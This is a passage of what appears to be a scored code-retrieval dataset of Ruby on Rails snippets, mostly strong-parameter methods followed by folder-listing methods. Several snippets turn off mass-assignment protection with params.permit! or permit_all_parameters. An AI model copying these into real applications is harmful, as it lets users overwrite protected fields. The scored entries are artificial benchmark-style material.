:invitation_token)}\r\n\r\n end", "title": "" }, { "docid": "7b7196fbaee9e8777af48e4efcaca764", "score": "0.6173327", "text": "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "title": "" }, { "docid": "9d589006a5ea3bb58e5649f404ab60fb", "score": "0.6163395", "text": "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "title": "" }, { "docid": "38a9fb6bd1d9ae5933b748c181928a6b", "score": "0.6153005", "text": "def safe_params\n params.require(:user).permit(:name)\n end", "title": "" }, { "docid": "d578c7096a9ab2d0edfc431732f63e7f", "score": "0.6151833", "text": "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "title": "" }, { "docid": "7a6fbcc670a51834f69842348595cc79", "score": "0.6147288", "text": "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "title": "" }, { "docid": "fe4025b0dd554f11ce9a4c7a40059912", "score": "0.61224324", "text": "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.6118827", "text": "def check_params; true; end", "title": "" }, { "docid": "60ccf77b296ed68c1cb5cb262bacf874", "score": "0.61075264", "text": "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "3c8ffd5ef92e817f2779a9c56c9fc0e9", "score": "0.61054534", "text": "def quote_params\n params.permit!\n end", "title": "" }, { "docid": "86b2d48cb84654e19b91d9d3cbc2ff80", "score": "0.6092497", "text": "def valid_params?; end", "title": "" }, { "docid": "34d018968dad9fa791c1df1b3aaeccd1", "score": "0.6080082", "text": "def paramunold_params\n params.require(:paramunold).permit!\n end", "title": "" }, { "docid": "6d41ae38c20b78a3c0714db143b6c868", "score": "0.60710967", "text": "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "title": "" }, { "docid": "c436017f4e8bd819f3d933587dfa070a", "score": "0.60627776", "text": "def filtered_parameters; end", "title": "" }, { "docid": "49052f91dd936c0acf416f1b9e46cf8b", "score": "0.60219413", "text": "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "title": "" }, { "docid": "5eaf08f3ad47cc781c4c1a5453555b9c", "score": "0.60175914", "text": "def filtering_params\n params.permit(:email, :name)\n end", "title": "" }, { "docid": "5ee931ad3419145387a2dc5a284c6fb6", "score": "0.60153484", "text": "def check_params\n true\n end", "title": "" }, { "docid": "3b17d5ad24c17e9a4c352d954737665d", "score": "0.60107356", "text": "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.60081726", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.60081726", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "74c092f6d50c271d51256cf52450605f", "score": "0.60013986", "text": "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "title": "" }, { "docid": "75415bb78d3a2b57d539f03a4afeaefc", "score": "0.6000165", "text": "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "title": "" }, { "docid": "bb32aa218785dcd548537db61ecc61de", "score": "0.59978646", "text": "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "title": "" }, { "docid": "865a5fdd77ce5687a127e85fc77cd0e7", "score": "0.59936947", "text": "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "title": "" }, { "docid": "ec609e2fe8d3137398f874bf5ef5dd01", "score": "0.59925723", "text": "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "title": "" }, { "docid": "65fa57add93316c7c8c6d8a0b4083d0e", "score": "0.5992084", "text": "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "title": "" }, { "docid": "423b4bad23126b332e80a303c3518a1e", "score": "0.59796256", "text": "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "title": "" }, { "docid": "48e86c5f3ec8a8981d8293506350accc", "score": "0.5967569", "text": "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "title": "" }, { "docid": "9f774a9b74e6cafa3dd7fcc914400b24", "score": "0.5960056", "text": "def active_code_params\n params[:active_code].permit\n end", "title": "" }, { "docid": "2202d6d61570af89552803ad144e1fe7", "score": "0.59589803", "text": "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "title": "" }, { "docid": "a573514ae008b7c355d2b7c7f391e4ee", "score": "0.5958441", "text": "def filtering_params\n params.permit(:email)\n end", "title": "" }, { "docid": "8b571e320cf4baff8f6abe62e4143b73", "score": "0.5958401", "text": "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "title": "" }, { "docid": "f18c8e1c95a8a21ba8cd6fbc6d4d524a", "score": "0.5952607", "text": "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "title": "" }, { "docid": "d493d59391b220488fdc1f30bd1be261", "score": "0.5952406", "text": "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "title": "" }, { "docid": "4e6017dd56aab21951f75b1ff822e78a", "score": "0.5944409", "text": "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "title": "" }, { "docid": "67fe19aa3f1169678aa999df9f0f7e95", "score": "0.59391016", "text": "def list_params\n params.permit(:name)\n end", "title": "" }, { "docid": "bd826c318f811361676f5282a9256071", "score": "0.593842", "text": "def filter_parameters; end", "title": "" }, { "docid": "bd826c318f811361676f5282a9256071", "score": "0.593842", "text": "def filter_parameters; end", "title": "" }, { "docid": "5060615f2c808bab2d45f4d281987903", "score": "0.5933845", "text": "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "title": "" }, { "docid": "7fa620eeb32e576da67f175eea6e6fa0", "score": "0.59312123", "text": "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "title": "" }, { "docid": "d9483565c400cd4cb1096081599a7afc", "score": "0.5926475", "text": "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "title": "" }, { "docid": "f7c6dad942d4865bdd100b495b938f50", "score": "0.59248453", "text": "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "title": "" }, { "docid": "70fa55746056e81854d70a51e822de66", "score": "0.59179676", "text": "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "title": "" }, { "docid": "3683f6af8fc4e6b9de7dc0c83f88b6aa", "score": "0.59109294", "text": "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "title": "" }, { "docid": "753b67fc94e3cd8d6ff2024ce39dce9f", "score": "0.59101623", "text": "def url_whitelist; end", "title": "" }, { "docid": "3eef50b797f6aa8c4def3969457f45dd", "score": "0.5908172", "text": "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "title": "" }, { "docid": "f9f0da97f7ea58e1ee2a5600b2b79c8c", "score": "0.59058356", "text": "def admin_social_network_params\n params.require(:social_network).permit!\n end", "title": "" }, { "docid": "de77f0ab5c853b95989bc97c90c68f68", "score": "0.5899052", "text": "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "title": "" }, { "docid": "5bdab99069d741cb3414bbd47400babb", "score": "0.5897749", "text": "def filter_params\n params.require(:filters).permit(:letters)\n end", "title": "" }, { "docid": "7c5ee86a81b391c12dc28a6fe333c0a8", "score": "0.5896101", "text": "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "title": "" }, { "docid": "29d030b36f50179adf03254f7954c362", "score": "0.58942914", "text": "def sensitive_params=(params)\n @sensitive_params = params\n end", "title": "" }, { "docid": "bf321f5f57841bb0f8c872ef765f491f", "score": "0.58939576", "text": "def permit_request_params\n params.permit(:address)\n end", "title": "" }, { "docid": "5186021506f83eb2f6e244d943b19970", "score": "0.5892063", "text": "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "title": "" }, { "docid": "b85a12ab41643078cb8da859e342acd5", "score": "0.5887407", "text": "def secure_params\n params.require(:location).permit(:name)\n end", "title": "" }, { "docid": "46e104db6a3ac3601fe5904e4d5c425c", "score": "0.588292", "text": "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "title": "" }, { "docid": "abca6170eec412a7337563085a3a4af2", "score": "0.58797663", "text": "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "title": "" }, { "docid": "26a35c2ace1a305199189db9e03329f1", "score": "0.587367", "text": "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "title": "" }, { "docid": "7b7ecfcd484357c3ae3897515fd2931d", "score": "0.58681566", "text": "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "title": "" }, { "docid": "de49fd084b37115524e08d6e4caf562d", "score": "0.5868038", "text": "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "title": "" }, { "docid": "8aa9e548d99691623d72891f5acc5cdb", "score": "0.5866578", "text": "def url_params\n params[:url].permit(:full)\n end", "title": "" }, { "docid": "c6a8b768bfdeb3cd9ea388cd41acf2c3", "score": "0.58665025", "text": "def backend_user_params\n params.permit!\n end", "title": "" }, { "docid": "0016f219c5d958f9b730e0824eca9c4a", "score": "0.58655846", "text": "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "title": "" }, { "docid": "be95d72f5776c94cb1a4109682b7b224", "score": "0.58640826", "text": "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "title": "" }, { "docid": "e4a29797f9bdada732853b2ce3c1d12a", "score": "0.5863465", "text": "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "title": "" }, { "docid": "967c637f06ec2ba8f24e84f6a19f3cf5", "score": "0.5862226", "text": "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "title": "" }, { "docid": "d14f33ed4a16a55600c556743366c501", "score": "0.586065", "text": "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "title": "" }, { "docid": "46cb58d8f18fe71db8662f81ed404ed8", "score": "0.58581287", "text": "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "title": "" }, { "docid": "ad61e41ab347cd815d8a7964a4ed7947", "score": "0.5854443", "text": "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "title": "" }, { "docid": "7e9a6d6c90f9973c93c26bcfc373a1b3", "score": "0.5854172", "text": "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "title": "" }, { "docid": "8894a3d0d0ad5122c85b0bf4ce4080a6", "score": "0.58507544", "text": "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "title": "" }, { "docid": "53d84ad5aa2c5124fa307752101aced3", "score": "0.5849934", "text": "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end", "title": "" } ]
031e7738ed5ad0423be15878b8ff8966
GET /folders GET /folders.json
[ { "docid": "0ccaf1a93c5c080e964edf3bf662d91b", "score": "0.71402705", "text": "def index\n @folders = Folder.all\n end", "title": "" } ]
[ { "docid": "f263d39653207d6fa2f7ff46c6405e71", "score": "0.80284256", "text": "def list_folders\n http_get(uri: '/folders', fields: x_cookie)\n end", "title": "" }, { "docid": "7dc5753bd91cb5c69bc6be408fad2dc6", "score": "0.7778555", "text": "def account_folders\n make_request(:get,\"#{account_url}/folders.xml\")\n end", "title": "" }, { "docid": "14d16f90e37f967d372d5a996f883bed", "score": "0.77732503", "text": "def folder_list(folder = nil)\n response = get_a_request(\"/file/listfolder?login=#{@api_login}&key=#{@api_key}#{http_parameter('folder', folder)}\")\n JSON.parse(response)\n end", "title": "" }, { "docid": "804c620d4073173c2f8555ab159159fd", "score": "0.77194387", "text": "def index\n @folders = Folder.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @folders }\n end\n end", "title": "" }, { "docid": "804c620d4073173c2f8555ab159159fd", "score": "0.77194387", "text": "def index\n @folders = Folder.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @folders }\n end\n end", "title": "" }, { "docid": "804c620d4073173c2f8555ab159159fd", "score": "0.77194387", "text": "def index\n @folders = Folder.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @folders }\n end\n end", "title": "" }, { "docid": "243669780a9b5ad06c265ac08533e4ad", "score": "0.75989324", "text": "def folders\n response = API.request(:url => 'user/folders', :parameters => {:api_token => self.token}) \n\n response['folders']['folder'].collect do |folder_attributes|\n Folder.build folder_attributes\n end\n end", "title": "" }, { "docid": "3ef4526a3fa22ca6a0252653ecfad5b4", "score": "0.7561149", "text": "def index\n @api_v1_folders = Api::V1::Folder.all\n end", "title": "" }, { "docid": "e14ca3aec09fd04e3832bb9d3b2bfbb5", "score": "0.7529066", "text": "def index\n @folders = Folder.where searchable_params\n\n respond_with @folders\n end", "title": "" }, { "docid": "702a245d003cfc1fa259fa0510b77318", "score": "0.74334043", "text": "def index\n @standard_folders_json = DocumentCacheService.new(current_user, params).get_standard_folders_json\n render status: 200, json: @standard_folders_json\n end", "title": "" }, { "docid": "8421856a2bdadb642144199dd6a7da24", "score": "0.7425142", "text": "def index\n # If folders have not changed, return a 304\n if stale? etag: EtagCalculator.etag(current_user.folders_updated_at),\n last_modified: current_user.folders_updated_at\n @folders = current_user.folders\n respond_with @folders\n end\n rescue => e\n handle_error e\n end", "title": "" }, { "docid": "0ff79793c5013837b8c1699ab80d9e86", "score": "0.7405956", "text": "def index\n @z_folders = @folder.folders\n end", "title": "" }, { "docid": "87f0346e9b72e148178fb259bef43003", "score": "0.73967475", "text": "def index\n if current_user.roles.first.name == 'admin'\n @folders = Folder.all\n else\n @folders = Folder.find_all_by_role_id(current_user.roles.first.id)\n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @folders }\n end\n end", "title": "" }, { "docid": "7213e12454a7c61471d443196e5ae6a7", "score": "0.7349277", "text": "def output_folders_list_platform\n current_folder = unsafe_params[:current_folder] || \"/\"\n response = output_folder_service.list(current_folder)\n result = if response[\"folders\"]\n { folders: response[\"folders\"] }\n else\n JSON.parse(response.body)[\"error\"]\n end\n\n # render json: result\n end", "title": "" }, { "docid": "87f85b960e051e518860cc8aacdc8390", "score": "0.72657263", "text": "def list_folders category_id\n\t\t\t\t\tFreshdesk::Api::Client.convert_to_hash( @connection.get FOLDERS, category_id, nil, nil, \"list_folders\" )\n\t\t\t\tend", "title": "" }, { "docid": "816e130529257b17b21f8c92880f6502", "score": "0.7175835", "text": "def index\n @folders = current_user.folders\n end", "title": "" }, { "docid": "4eab0b8ad52aaaf6ac076f96799e7c3e", "score": "0.71719617", "text": "def subfolders\n sub_folders =\n if params[:folder_id].present?\n @space.folders.find(params[:folder_id]).sub_folders\n else\n @space.folders.where(scoped_parent_folder_id: nil)\n end\n\n render json: sub_folders, root: \"nodes\", adapter: :json\n end", "title": "" }, { "docid": "f66a54484762742ae5b4b96743c3c043", "score": "0.7169093", "text": "def list(type)\n _params = {:type => type}\n return @master.call 'folders/list', _params\n end", "title": "" }, { "docid": "b849941dc25f7593fae8ce38875f3c90", "score": "0.7164131", "text": "def list_folders\n nessus_rest_get('scans')['folders']\n end", "title": "" }, { "docid": "4b1453e46cf659f5974bbd52c358db93", "score": "0.7152641", "text": "def index\n path = @client.folder_from_path(@user_folder_name)\n @folder_items = @client.folder_items(path)\n @folder_items.each {|i| puts i.name}\n end", "title": "" }, { "docid": "11e3b796c1b6d58d87181a748f2f9a21", "score": "0.7134202", "text": "def get_folders(opts = {})\n url = Gdoc::DEFAULT_FEED\n folder = opts[:folder] || 'folder'\n url += \"/-/#{folder}?showfolders=true\"\n feed = @gclient.get(url)\n\n docs = {}\n feed.to_xml.elements.each('entry') do |entry|\n doc = Gdoc.create_doc(entry)\n docs[doc.href] = doc\n end\n\n docs.values.each do |doc|\n if doc.parent\n doc.parent = docs[doc.parent]\n end\n end\n docs\n end", "title": "" }, { "docid": "8e08574ac029ff8cfba0a769bc6d6dd8", "score": "0.71237653", "text": "def index\r\n @folders = current_user.folders\r\n end", "title": "" }, { "docid": "ff7f18db865107341e1a0d6bb2d13e5c", "score": "0.7093924", "text": "def list\n @site ||= Site.find_by_id(params[:site]) or (render_404 and return)\n @folders = @site.folders.listing.page(params[:page]).per(PER_PAGE)\n respond_to do |format|\n format.html { render :action => :list}\n end\n end", "title": "" }, { "docid": "24eb72eac9b718bf9b6a46b814a9073b", "score": "0.70496374", "text": "def list_my_folder\n Log.add_info(request, params.inspect)\n\n if @login_user.nil?\n check_login\n return\n end\n\n my_folder = @login_user.get_my_folder\n\n if my_folder.nil?\n render(:text => '')\n else\n params[:folder_id] = my_folder.id.to_s\n list\n render(:action => 'list')\n end\n end", "title": "" }, { "docid": "d5118c9736389d718775b75f2384612b", "score": "0.70452505", "text": "def folders\n refresh_files! if @folders.nil?\n @folders\n end", "title": "" }, { "docid": "581a00aaf6578f87d7628c086a55a21a", "score": "0.703969", "text": "def folders\n @conn.list(\"#{@full_name}#{@delim}\", '%').map do |f|\n Folder.new(@conn, f.name, f.delim)\n end\n end", "title": "" }, { "docid": "7c753f0658d8dbe0a4ef5f8163c832f5", "score": "0.7034091", "text": "def get_gfolders(opts = {})\n get_gdata('gfolders', opts) do |client|\n client.get_folders(opts)\n end\n end", "title": "" }, { "docid": "0ca5eaef4b77c0c868bb14dc924eea6b", "score": "0.7021329", "text": "def list_folder(path, recursive: false, get_all: false, include_deleted: false)\n resp = request('/files/list_folder', path: path, recursive: recursive, include_deleted: include_deleted)\n entries = resp['entries']\n if get_all && resp['has_more']\n while resp['has_more'] do\n sleep(1)\n resp = request('/files/list_folder/continue', cursor: resp['cursor'])\n entries += resp['entries']\n end\n end\n entries.map { |e| parse_tagged_response(e) }\n end", "title": "" }, { "docid": "78a769d67e057ded723ba15309336611", "score": "0.7018296", "text": "def user_folders(username='$username')\n make_request(:get,\"#{user_url(username)}/folders.xml\")\n end", "title": "" }, { "docid": "b7284ecb8d4d4b527e66a467433d4546", "score": "0.6995175", "text": "def list_folder(folder)\r\n\turi = URI(DROPBOX_API_URL + '/files/list_folder')\r\n\t\tNet::HTTP.start(uri.host, uri.port, :use_ssl => true) do |http|\r\n\t\t\treq = Net::HTTP::Post.new uri\r\n\t\t\treq['Authorization'] = \"Bearer #{ENV['DROPBOX_TOKEN']}\"\r\n\t\t\treq['Content-Type'] = 'application/json'\r\n\t\t\treq.body = { path: '/' + folder }.to_json\r\n\t\t\tres = http.request req\r\n\t\t\tres.body\r\n\t\tend\r\n\tend", "title": "" }, { "docid": "ed0b80449a9ccbfd42f8fd48e2716efd", "score": "0.69920737", "text": "def get_other_folders\n\t\tfolders = current_user.folders.where([\"id != ?\", params[:id]])\n\n\t\trespond_to do |format|\n\t\t\tformat.json {render :json => folders}\n\t\t\tformat.all {render :text => \"Only JSON supported at the moment\"}\n\t\tend\n\tend", "title": "" }, { "docid": "4712f80079d4146f6092c06108e819d4", "score": "0.6991349", "text": "def show\n @root = current_user.folders.find(params[:id])\n @folders = @root.subfolders\n @files = @root.file_folders\n respond_to do |format|\n format.js{render 'folder_content_list', status: 200}\n end\n end", "title": "" }, { "docid": "f8c0524a53a6e1c1ab8b0aa31c90c160", "score": "0.69871265", "text": "def index\n authorize! :read, Folder\n @folders = current_employee.folders.all\n end", "title": "" }, { "docid": "f5bc955576a89ccf5494653fb023c388", "score": "0.6982159", "text": "def index\n respond_with current_user ? current_user.folders.all : \"\"\n end", "title": "" }, { "docid": "3642a7a8b25dbd653cf39ae5bdd2dd27", "score": "0.6968861", "text": "def list_folders_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PDFApi.list_folders ...'\n end\n # resource path\n local_var_path = '/folders/'\n\n # query parameters\n query_params = {}\n query_params[:'parent_folder_id'] = opts[:'parent_folder_id'] if !opts[:'parent_folder_id'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['api_token_basic']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<Folder>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PDFApi#list_folders\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "734ea3e99d6721de422231f6c16acadc", "score": "0.69566137", "text": "def folders\n @folders ||= {}\n end", "title": "" }, { "docid": "0a4a3bf211adb84f483631afdd4ed4b6", "score": "0.6954167", "text": "def folders(params = {})\n params ||= {}\n params[:path] = @attributes[:path]\n raise MissingParameterError.new(\"Current object doesn't have a path\") unless @attributes[:path]\n raise InvalidParameterError.new(\"Bad parameter: page must be an Integer\") if params.dig(:page) and !params.dig(:page).is_a?(Integer)\n raise InvalidParameterError.new(\"Bad parameter: per_page must be an Integer\") if params.dig(:per_page) and !params.dig(:per_page).is_a?(Integer)\n raise InvalidParameterError.new(\"Bad parameter: action must be an String\") if params.dig(:action) and !params.dig(:action).is_a?(String)\n raise InvalidParameterError.new(\"Bad parameter: path must be an String\") if params.dig(:path) and !params.dig(:path).is_a?(String)\n\n Api.send_request(\"/requests/folders/#{Addressable::URI.encode_component(params[:path])}\", :get, params, @options)\n end", "title": "" }, { "docid": "1ac0fdfb5e846262704770cd4778d3cb", "score": "0.6934168", "text": "def folders\r\n @folders ||=\r\n begin\r\n request_body = <<-eos\r\n \t\t\t\t<D:searchrequest xmlns:D = \"DAV:\">\r\n \t\t\t\t\t <D:sql>\r\n \t\t\t\t\t SELECT \"DAV:displayname\", \"DAV:contentclass\"\r\n \t\t\t\t\t FROM SCOPE('shallow traversal of \"#{@href}\"')\r\n \t\t\t\t\t WHERE \"DAV:ishidden\" = false\r\n AND \"DAV:isfolder\" = true\r\n \t\t\t\t\t </D:sql>\r\n \t\t\t\t</D:searchrequest>\r\n eos\r\n folders = []\r\n DavSearchRequest.execute(@credentials, :body => request_body) do |response|\r\n\r\n\r\n # iterate through folders query and add a new Folder\r\n # object for each, under a normalized name.\r\n xpath_query = \"/*/a:response[a:propstat/a:status/text() = 'HTTP/1.1 200 OK']\"\r\n Document.new(response.body).elements.each(xpath_query) do |m|\r\n href = m.elements['a:href'].text\r\n displayname = m.elements['a:propstat/a:prop/a:displayname'].text\r\n contentclass = m.elements['a:propstat/a:prop/a:contentclass'].text\r\n folders << Folder.new(@credentials, self, displayname, href, contentclass.split(':').last.sub(/folder$/, ''))\r\n end\r\n\r\n end\r\n folders\r\n end\r\n\r\n end", "title": "" }, { "docid": "60ca6ffe0a35385b6cb28ab0d049e838", "score": "0.68902034", "text": "def list(path=nil)\n remote_path = list_path(path)\n result, folder_id = navigate_to(remote_path)\n result.map do |elem|\n if elem.mimeType == 'application/vnd.google-apps.folder'\n file_type = 'folder'\n else\n file_type = 'file'\n end\n {\n name: elem.title,\n path: File.join(remote_path, elem.title),\n type: file_type,\n id: elem.id,\n parent_id: folder_id\n }\n end\n end", "title": "" }, { "docid": "db826f2eb02c88be5f09b7cd7123edce", "score": "0.6884395", "text": "def index\n @directories = current_user.directories\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @directories }\n end\n end", "title": "" }, { "docid": "9349ba6051d2f5d1783ceaa3ccdb369a", "score": "0.68759114", "text": "def folders\n start do |imap|\n imap.list(\"*\", \"*\").collect(&:name)\n end\n end", "title": "" }, { "docid": "89d53671b604497fb2c30ce8cb874ed9", "score": "0.6859862", "text": "def list_folders(opts=[])\n _params = {:opts => opts}\n return @master.call 'gallery/list-folders', _params\n end", "title": "" }, { "docid": "9722800a5bcaa8df3f39e5a886ef4e00", "score": "0.68452805", "text": "def get_folder id\n\t\t\t\t\tFreshdesk::Api::Client.convert_to_hash( @connection.get FOLDERS, id )\n\t\t\t\tend", "title": "" }, { "docid": "7d61018bdd436330e1938f8575f7ab4e", "score": "0.6827559", "text": "def getFolders(projectId)\r\n\t\t\t\turl = getBaseURL+\"projects/\"+String(projectId)+\"/folders/\"\t\t\r\n\t\t\t\tresponse = ZohoHTTPClient.get(url, getQueryMap)\t\r\n\t\t\t\treturn $folderParser.getFolders(response)\r\n\t\t\tend", "title": "" }, { "docid": "fa6629b103047eb2bd9d212a633904a4", "score": "0.6781351", "text": "def index\n # @folders = Folder.all\n @folders = current_user.folders unless current_user.nil?\n end", "title": "" }, { "docid": "5613aab3e4cf218f97a81bd8c31f75a8", "score": "0.6781306", "text": "def load_folders_and_feeds\n render 'load_folders_and_feeds.json', :formats => [:json]\n end", "title": "" }, { "docid": "2e370fc8f08d7b0f2df2aab4b75a9f94", "score": "0.678086", "text": "def show\n @folder = Folder.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @folder }\n end\n end", "title": "" }, { "docid": "2e370fc8f08d7b0f2df2aab4b75a9f94", "score": "0.678086", "text": "def show\n @folder = Folder.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @folder }\n end\n end", "title": "" }, { "docid": "2e370fc8f08d7b0f2df2aab4b75a9f94", "score": "0.678086", "text": "def show\n @folder = Folder.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @folder }\n end\n end", "title": "" }, { "docid": "2e370fc8f08d7b0f2df2aab4b75a9f94", "score": "0.678086", "text": "def show\n @folder = Folder.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @folder }\n end\n end", "title": "" }, { "docid": "a1ab65861a70e8c5d7440049cfee9fa7", "score": "0.67623276", "text": "def show\n @folder = Folder.find(params[:id])\n @uploaders = Uploader.find_all_by_folder_id(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @folder }\n end\n end", "title": "" }, { "docid": "6e52cbf3040dd18b7e19e1d732af018f", "score": "0.6743919", "text": "def index\n @gfolders = @group.gfolders.all\n end", "title": "" }, { "docid": "3761a768b4a8dfa71cb5b9ddaa2c60d5", "score": "0.6724366", "text": "def index\n @folders = Folder.all(:user_id => current_user.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @folders }\n end\n end", "title": "" }, { "docid": "177aed6641e527f5643ae67e8d507c41", "score": "0.67169917", "text": "def show\n @folder = Cnf::Folder.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @folder }\n end\n end", "title": "" }, { "docid": "20651d6755ba9e85a1b3c04b1b0c5280", "score": "0.67149943", "text": 